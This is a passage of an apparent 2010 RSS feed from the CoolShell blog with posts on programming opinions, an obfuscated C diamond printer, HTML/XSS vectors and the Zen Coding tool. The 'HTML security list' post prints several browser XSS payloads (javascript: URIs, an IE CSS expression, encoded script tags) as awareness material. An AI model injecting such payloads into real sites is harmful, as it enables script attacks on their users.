work.</strong></p>\n<p>你的工作不是保守，那种教会徒弟，饿死师父的想法，不但是相当短浅的，而且还是相当脑残的。因为，在计算机世界里，你掌握的老技术越多，你就越没用，因为技术更新的太快。你对工作越保守，这个工作就越来越离不开你，你就越不越不能抽身去学新的东西，你也就越来越OUT了。记住：If you can&#8217;t be replaced then you can&#8217;t be promoted!</p>\n<p><strong>9）<strong>Design patterns are hurting good design more than they&#8217;re helping  it.</strong></strong></p>\n<p>很多程序员把设计模式奉为天神，他们过度的追求设计模式以至都都忘了需求是什么，结果整个系统设计被设计模式搞得乱七八糟，我们叫这种编程为“<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">设计模式驱动编程</a>”，正如第一点所说，如果你不懂得用自己的大脑思考的话，知其然，不知所以然的话，那么你不但得不到其好处，反而受其所累。</p>\n<p><strong>10）</strong><strong>Unit Testing won&#8217;t help you write good code</strong></p>\n<p>准确地说，我们可以认为这是Test-Driven开发，其实，这种开发就是先写unit test case，这样的开发方式的主要目的是，为了防止你不会因为一个改动而引入Bug，但这并不会让你能写出更好的代码。这只会让你写出不会出错的代码。同第一点，这样的方法，只不过是防止<a href=\"https://coolshell.cn/articles/1081.html\" target=\"_blank\">糟糕的程序员</a>，而并不是让程序员或代码质量更有长进。反而，通过Unit Test会为程序员的为自己代码做辩解的一种托辞。</p>\n<p>最后，顺便说一下，以前去那个敏捷的公司面试，发现那个公司的某些技术人员中毒不浅，具体表现在上述的1）9）10）观点上。</p>\n<p><strong>（转载本文请注明作者和出处，请勿用于商业用途）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2424.html\">十条不错的编程观点</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2424.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>89</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>老手是这样教新手编程的</title>\n\t\t<link>https://coolshell.cn/articles/2420.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2420.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 13 May 2010 00:43:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2420</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>comp.lang.c全球最大的C语言新闻组，其Google的链接是：http://groups.google.com/group/comp.lang.c/ 可...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2420.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2420.html\">老手是这样教新手编程的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>comp.lang.c全球最大的C语言新闻组，其Google的链接是：<a href=\"http://groups.google.com/group/comp.lang.c/\" target=\"_blank\">http://groups.google.com/group/comp.lang.c/</a> 可惜被GFW了。在comp.lang.c新闻组，有一个日本网友发了个<a href=\"http://groups.google.com/group/comp.lang.c/browse_thread/thread/9f3faa6af28577f2/e105e5d339edec01?hide_quotes=no\" target=\"_blank\">贴子</a>，说他正在学习一个在线的C语言课程，要完成一个作业，用程序输出如下的结果，而他的老师在美国，因为时差问题，他无法和他联系，所以只有上这里来寻求帮助。</p>\n<pre style=\"text-align: left;font-family: 'Consolas','Courier New', Courier, monospace;\">    *\n   ***\n  *****\n *******\n*********\n*********\n *******\n  *****\n   ***\n    *</pre>\n<p>很明显，在comp.lang.c上发这种贴子是一定会被拍的很惨的，这样的事，以前在SUN的论坛上也发生过，<a href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\">详情请看这里</a>。还有一个去软件<a href=\"https://coolshell.cn/articles/1693.html\" target=\"_blank\">官网上要一个盗版序列号</a>的。果不然后，我看到了这样的一个<a href=\"http://groups.google.com/group/comp.lang.c/msg/e105e5d339edec01\" target=\"_blank\">回贴</a>。提供这样的一段代码：</p>\n<p><span id=\"more-2420\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#define      M 002354l\n#define     A   000644l\n#define    G     000132l\n#define     I   000322l\n#define      C 000374l\n#define                a ;\n#define               b for\n#define              c    ++\n#define             d       %\n#define            e       int\n#define           f           ,\n#define          g             -\n#define         h             011\n#define        i                 =\n#define       j                   {\n#define      k                     )\n#define     l                    &#039;\\n&#039;\n#define    m                      main\n#define    n                         &lt;\n#define     o                       }\n#define      p                     &gt;\n#define       q                  &amp;&amp;\n#define        r                 (\n#define         s              ||\n#define          t             ?\n#define           u     putchar\n#define            v      void\n#define             w     &#039;*&#039;\n#define              x     :\n#define               y &#039; &#039;\n#define                _ /\n#define           C_O_O_L return\n                   e u r e k a\n                         e\n                        m r\n                       v k j\n                      j j j j\n                     j j j j j\n                    j j j j j j\n                   j j j j j j j\n                  j e z a b r z i\n                 M _ A _ G _ I _ C\n                a z n G a u r z d h\n               + z _ h p M _ A q z d\n              h + z _ h n M _ G q z _\n             h n z d h + M _ I q z _ h\n            p z d h g M _ C t w x y k f\n           z d h g h + 1 s u r l k f z c\n          k a u r l k a j j j j j j j j j\n         j j C_O_O_L M _ A _ G _ I _ C a o\n        o o o o o o o o o o o o o o o o o o\n                      o o o o\n                      o o o o\n                      o o o o\n                      o o o o\n</pre>\n<p>这段程序是可以编译通过的，没有任何问题，而且还是可以得到正确的结果的。关于这样的程序，你可以参考本站的这篇文章《<a title=\"6个变态的C语言Hello World程序\" href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">6个变态的C语言Hello World程序</a>》，而另一篇文章教你<a href=\"https://coolshell.cn/articles/933.html\">如何搞乱你的C代码</a>。呵呵。当然，你并不需要把在你的VC或是GCC下编译这段代码，现在什么都有在线了，编译器当然也在线了，这里是一篇关于<a href=\"https://coolshell.cn/articles/1310.html\" target=\"_blank\">在线编译器的文章</a>，甚至一个<a href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">在线的IDE</a>（连这个网站的CTO都在本站<a href=\"https://coolshell.cn/articles/1883.html#comment-2234\" target=\"_blank\">留言</a>了），上去编译一下你就可以看到<a href=\"http://codepad.org/Rh6icaWU\" target=\"_blank\">结果</a>了。</p>\n<p>最后，不恶搞了，在comp.lang.c的这个贴子中看到了很多不错的“如何教新手编程”的观点，下面罗列一些：</p>\n<p>1）你把你自认为最好程序贴出来，我会帮你看的，但我是不会帮你写的。</p>\n<p>2）要解决这个问题，你需要先观察输出，然后找到其规律，算法总是去描述一些有规律的事情。关于你的这个程序，很明显，你可以分成两个部分，一个正三角，一个倒三角，每一行的星号都是连续的奇数，1，3，5，7，9，而前面的空格又是顺序的自然数：4，3，2，1，你看这样的规律用程序来干不是正合适吗？</p>\n<p>从这两个例子，我们可以看到，老手应该如何去教新手，那就是，a）让其独立思考，b）步步为营的引导，c）教一种方法而不是直接给答案。希望与大家共勉。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2420.html\">老手是这样教新手编程的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2420.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>46</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTML 安全列表</title>\n\t\t<link>https://coolshell.cn/articles/2416.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2416.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 12 May 2010 00:57:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2416</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站罗列了，几乎所有的关于HTML 5 在各种主流浏览器上的安全问题，这些安全问题很有可能将会是黑客攻击你的网上的敲门砖，他们几乎都和Javascrip...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2416.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2416.html\">HTML 安全列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个网站罗列了，几乎所有的关于HTML 5 在各种主流浏览器上的安全问题，这些安全问题很有可能将会是黑客攻击你的网上的敲门砖，他们几乎都和Javascript都有关系，你就要好好注意了。</p>\n<p style=\"text-align: center;\"><a href=\"http://heideri.ch/jso/\" target=\"_blank\"><strong>http://heideri.ch/jso/</strong></a></p>\n<p style=\"text-align: left;\">下面罗列几个：</p>\n<p style=\"text-align: left;\"><strong>1）&lt;table background=&#8221;javascript:alert(1)&#8221;&gt;</strong></p>\n<p style=\"text-align: left;\">IE6，7，8，9，和Opera 8.x, 9.x, 10.x 都支持这样的语法。</p>\n<p style=\"text-align: left;\"><strong>2）&lt;meta charset=&#8221;mac-farsi&#8221;&gt;¼script¾alert(1)¼/script¾</strong></p>\n<p style=\"text-align: left;\">这个问题会存在于所有的Firefox版本中，可以让用户进行XSS（跨站脚本）攻击</p>\n<p style=\"text-align: left;\"><strong>3）&lt;script&gt;&amp;amp;#x61;l&amp;amp;#x65;rt&amp;amp;#40;1)&lt;/script&gt;</strong></p>\n<p style=\"text-align: left;\">在&lt;script&gt;和&lt;style&gt;的TAG间，根据标据，其可以使用这样的字符来运行脚本。这在所有版本的Firefox, Opera, 和 Chrome中都会有问题。</p>\n<p style=\"text-align: left;\"><span id=\"more-2416\"></span></p>\n<p style=\"text-align: left;\"><strong>4）({set/**/$($){_/**/setter=$,_=1}}).$=alert</strong></p>\n<p style=\"text-align: left;\">上面这个是Firefox的一个<a href=\"https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Working_with_Objects#Defining_Getters_and_Setters\" target=\"_blank\">语法</a>，也会产生XSS攻击。</p>\n<p style=\"text-align: left;\"><strong>5）&lt;div style=&#8221;font-family:foo}x=expression(write(1));&#8221;&gt;XXX&lt;/div&gt;</strong></p>\n<p style=\"text-align: left;\">自从IE5.5后，直到IE9，IE就可以支持上面这样的语法。</p>\n<p style=\"text-align: left;\"><strong>6）src中是可以运行脚本的，如：</strong></p>\n<p style=\"text-align: left; padding-left: 30px;\">&lt;embed src=&#8221;javascript:alert(1)&#8221;&gt;<br />\n&lt;img src=&#8221;javascript:alert(1)&#8221;&gt;<br />\n&lt;image src=&#8221;javascript:alert(1)&#8221;&gt;<br />\n&lt;script src=&#8221;javascript:alert(1)&#8221;&gt;</p>\n<p style=\"text-align: left;\">又一个XSS攻击，几乎所有的浏览器都支持这样的方式，如：Firefox全部版本，Chrome 4.x/5.x，Opera 8.x/9.x/10.0，IE 6.0/7.0和Safari 3.x/4.x</p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: left;\">还有很多，大家自己去看吧，这个网站经常更新的。总体感觉下来，IE和Firefox的安全问题都在伯仲之间，Safari貌似是问题最少的。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2416.html\">HTML 安全列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2416.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>写HTML和CSS的新方法</title>\n\t\t<link>https://coolshell.cn/articles/2406.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2406.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 11 May 2010 00:18:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Zen]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2406</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Zen Coding 一个用来简化编写 HTML，XML， XSL （或是其它一些诸如此类格式的编辑器）。其主要是用一种缩写方式的语法来书写大量重复和无味的HT...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2406.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2406.html\">写HTML和CSS的新方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div id=\"_mcePaste\"><strong><a href=\"http://code.google.com/p/zen-coding/\" target=\"_blank\">Zen Coding</a></strong> 一个用来简化编写 HTML，XML， XSL （或是其它一些诸如此类格式的编辑器）。其主要是用一种缩写方式的语法来书写大量重复和无味的HTML，很像CSS语法。下面是一个例子：</div>\n<pre>div#page&gt;div.logo+ul#navigation&gt;li*5&gt;a</pre>\n<div>展开后会成为下面这个样子：</div>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;div id=&quot;page&quot;&gt;\n        &lt;div&gt;&lt;/div&gt;\n        &lt;ul id=&quot;navigation&quot;&gt;\n                &lt;li&gt;&lt;a href=&quot;&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=&quot;&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=&quot;&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=&quot;&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=&quot;&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n        &lt;/ul&gt;\n&lt;/div&gt;\n</pre>\n<div id=\"_mcePaste\">可以看出来，#代表ID，&gt;代表下一层。</div>\n<div><span id=\"more-2406\"></span></div>\n<div>如果你写下：</div>\n<pre>select&gt;option#item-$*3</pre>\n<div>那么将会得到：</div>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n\n&lt;select&gt;\n\t&lt;option id=&quot;item-1&quot;&gt;&lt;/option&gt;\n\t&lt;option id=&quot;item-2&quot;&gt;&lt;/option&gt;\n\t&lt;option id=&quot;item-3&quot;&gt;&lt;/option&gt;\n&lt;/select&gt;\n</pre>\n<div>看上去很不错吧。目前，其支持如下的编辑器：</div>\n<div>\n<p><span style=\"font-family: arial, sans-serif; line-height: normal;\"> </span></p>\n<ul>\n<li><a style=\"color: #0000cc;\" href=\"http://code.google.com/p/zen-coding/wiki/AptanaHowToEn\">AptanaHowToEn</a></li>\n<li><strong>TextMate</strong> (Mac). Available in two flavors: basic snippets (Zen HTML and Zen CSS) and full-featured plugin (ZenCoding for TextMate). <sub>Bundles &gt; Zen Coding menu item</sub></li>\n<li><strong>Coda</strong> (Mac) — <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://github.com/sergeche/tea-for-coda/downloads\">external download</a>, via <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://onecrayon.com/tea/\">TEA for Coda</a>. <sub>Plug-ins &gt; TEA for Coda &gt; Zen Coding menu item</sub></li>\n<li><strong>Espresso</strong> (Mac) — <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://github.com/sergeche/tea-for-espresso/downloads\">external download</a>, via <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://onecrayon.com/tea/\">TEA for Espresso</a>. Zen Coding is bundled with Espresso by default, but you should upgrade ZC to latest version. <sub>Actions &gt; HTML menu item</sub></li>\n<li><strong>Komodo Edit/IDE</strong> (crossplatform) — <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://community.activestate.com/xpi/zen-coding\">external download</a>. <sub>Tools &gt; Zen Coding menu item</sub></li>\n<li><strong>Notepad++</strong> (Windows). <sub>Zen Coding menu item</sub></li>\n<li><strong>PSPad</strong> (Windows). <sub>Scripts &gt; Zen Coding menu item</sub></li>\n<li><strong><tt style=\"font-size: 13px;\">&lt;textarea&gt;</tt></strong> (browser-based). See <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://zen-coding.ru/textarea/\">online demo</a>.</li>\n<li><strong>editArea</strong> (browser-based). See <a style=\"color: #0000cc;\" rel=\"nofollow\" href=\"http://zen-coding.ru/demo/\">online demo</a>.</li>\n</ul>\n</div>\n<p>还有下面这些第三方的插件：</p>\n<ul>\n<li><strong>Dreamweaver</strong> (Windows, Mac)</li>\n<li><strong>Sublime Text</strong> (Windows)</li>\n<li><strong>UltraEdit</strong> (Windows)</li>\n<li><strong>TopStyle</strong> (Windows)</li>\n<li><strong>GEdit</strong> (crossplatform) — <a rel=\"nofollow\" href=\"http://github.com/fmarcia/zen-coding-gedit\">Franck Marcia&#8217;s plugin</a>, <a rel=\"nofollow\" href=\"http://github.com/mikecrittenden/zen-coding-gedit\">Mike Crittenden&#8217;s plugin</a></li>\n<li><strong>BBEdit/TextWrangler</strong> (Mac) — <a rel=\"nofollow\" href=\"http://www.angelwatt.com/coding/zen-coding_bbedit.php\">external download</a></li>\n<li><strong>Visual Studio</strong> (Windows) — <a rel=\"nofollow\" href=\"http://zencoding.codeplex.com/\">external download</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" 